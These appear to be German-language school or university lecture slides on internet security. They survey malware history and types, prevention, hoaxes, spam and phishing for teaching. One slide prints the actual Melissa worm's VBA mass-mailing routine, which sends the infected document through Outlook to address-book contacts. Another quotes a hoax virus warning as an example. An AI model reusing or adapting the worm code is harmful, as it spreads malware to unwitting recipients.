
Sicherheit im Internet
Informatik-AG

Informatik – Mensch – Gesellschaft



Informatik – Mensch – Gesellschaft 23. März 2006HU-Berlin
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1949 John von Neumann:
„Selbst reproduzierende Automaten“

1975 Brunner:
„Tapeworm“

1984 Fred Cohens 
Doktorarbeit

1986 „Brain“-Virus

1987 Erster Virenscanner 

1988 Internet-Worm

1992 „Michelangelo“

1999 „Melissa“

2000 „I Love You“

2003 „Blaster“ und „Sobig“

2004 „Netsky“ und „Bagle“
Fred Cohen

Computervirus
im weiten Sinne synonym für Malware

Der Tape-Worm des 
Schockwellenreiters 
war Namensgeber des 
Computerwurdms
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Mobile Malware



Viren
im engen Sinne
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Virus
Programm

Selbst-Reproduzierend

Infizierend, benötigt Wirt

Mit oder 
ohne Schadensfunktion
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Klassifikation nach Wirt
Bootsektor (Floppy)

Master Boot Record (HD)

Programm

Multipart 
(Boot + Datei)

Makro

Email-Attachment



Dateiviren-Arbeitsweise
  +----------------+      +------------+

  | P1 | P2        |      | V1 | V2    |

  +----------------+      +------------+

 The uninfected file     The virus code

  +---------------------+

  | P1 | P2        | P1 |

  +---------------------+

  +---------------------+

  | V1 | P2        | P1 |

  +---------------------+

  +-----------------------------+

  | V1 | P2        | P1 | V2    |

  +-----------------------------+

Dark Angel's Phunky Virus Writing Guide



Macroviren-Aufbau
Autoexec-Macro 
ersetzt Normal.dot

FileSaveAs, 
FileSave, 
FileOpen, 
ToolsMacros

Schadensroutine 



Macroviren-Ausführen

• Laden des infizierten
Normal.dot

• Laden eines 
sauberen Dokuments
FileOpen, AutoOpen

• Infizieren des 
Dokuments

• Ausführen der 
Schadensfunktion
PayLoad
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Würmer
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Würmer

Selbst-reproduzierend

Nicht-infizierend 

Mailwürmer

Attachments

Stealth 

MAPI (Mail API)

Oft ebenfalls als «Virus» bezeichnet
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Wurm – Melissa
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... 
by Kwyjibo" Then
  If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
    DasMapiName.Logoff
  End If
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... 
by Kwyjibo"
End If
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Epidemie
Code Red, 2001
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Top Ten



Trojanische Pferde
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Trojanische Pferde
Nicht-Reproduzierend

Nicht-Infizierend

Verdeckte Schadensroutine:

Daten löschen oder verändern
Password Sniffer
Keylogger
Backdoor 
(Back Orifice, NetBus)
dDOS
Spam
Spyware
Rootkit (Sony XCP Aurora)Der Träger (dropper) ist nicht der Schädling (payload)
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Netbus
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Vorbeugen



Spyware
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«Legale» Installation
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Browser Helper



Adware
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Advertising-supported software

Eudora Sponsored Mode



Jochen KoubekGI-ILL 2006 09. März 2006

Pop-Ups
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Schutzmöglichkeiten

Risiko früher: ungeschützter 
Software-Tausch mit 
häufig wechselnden Tauschpartnern

Risiko heute:  Unwissende und 
vertrauensselige Nutzer

Sicherheitslücken in Anwendungen oder im 
Betriebssystem
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Prävention
Aufklärung
Backups anlegen

Keine dubiosen 
Attachments öffnen

Keine Kettenbriefe 
weiterleiten (s. u.)

Anti-Malware-Software
Monitore

Authentizitätsprüfer

Scanner

Heuristische Scanner

API-Scanner (TruPrevent)

Firewall
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Behandlung

Restaurierung (Backup)

Desinfektion

Serum

Pflaster (Patches) 

Impfung
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Teil II: Social Engineering



Hoax
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Hoaxes/Kettenbriefe
Soziale Viren
Aufbau

Aufhänger

Drohung

Aufforderung

Erkennungsmerkmale

Technische Sprache

Glaubwürdigkeit durch Autorität

„Schick mich an Alle!“
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Hoax Beispiel 1/3

Der Aufhänger

       

> Subject: Viruswarnung

>

> V I R U S W A R N U N G !

>

> Es wurde gerade ein neues Virus festgestellt, den Microsoft und

> McAfee als den bisher gefährlichsten Virus überhaupt bezeichnen!

>

> Dieses Virus wurde erst am Freitag nachmittag von McAfee

> festgestellt und wird noch nicht von Virenscannern erkannt. Das

> Virus zerstört den Null-Sektor der Festplatte, wo wichtige

> Informationen für die Funktion der Festplatte gespeichert sind.
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Hoax Beispiel 2/3
Die Drohung
       

> Die Funktionsweise des Virus ist wie folgt:

>

> Das Virus versendet sich automatisch an alle Kontaktadressen

> aus dem  Email-Adressbuch und gibt als Betrefftext 

> "A Virtual Card for You" an.

>

> Sobald die vorgebliche virtuelle Postkarte geöffnet wird,

> bleibt der Rechner hängen, sodass der Anwender einen Neustart

> vornehmen muss.

>

> Wird nun  die Kombination [Strg]+[Alt]+[Del] oder der Reset-Knopf am

> Rechnergehäuse gedrückt, löscht das Virus den Null-Sektor der

> Festplatte, womit die Festplatte dauerhaft unbrauchbar ist. Wenn Sie

> also eine Nachricht mit dem Betreff  "A Virtual Card for You"

> erhalten, öffnen Sie diese mail KEINESFALLS, sondern löschen Sie die

> Nachricht sofort.

>

> Am Freitag hat dieses Virus Innerhalb weniger Stunden geradezu eine

> Panik unter EDV-Usern in New York verursacht, wie CNN  berichtet

> http://www.cnn.com <http://www.cnn.com

> <http://www.cnn.com<http://www.cnn.com> >> .
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Hoax Beispiel 3/3

Die Aufforderung

> Bitte leite das vorliegende Mail an alle Personen in Ihrem

> Email-Verzeichnis weiter. Es ist sicherlich besser, diese

> Nachricht 25 Mal zu erhalten, als gar nicht!



Kettenbriefe
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Varianten

Pyramiden-Systeme (Schneeball-Systeme, 'Make Money Fast')
Gewinnspiele und Artverwandtes
Glücksbriefe
Tränendrüsen-Briefe (engl. "Charity Hoaxes") (s. o.)
Sinnlose E-Petitionen
Urban Legends



Spam
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Gewerblich

Unverlangt

Massenhaft versendet

Elektronische Nachricht
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Spam Botnets



Phishing
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Angriff
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Angriff
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Merkmale



Scam
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Angebot



Jochen KoubekGI-ILL 2006 09. März 2006

419 Eater


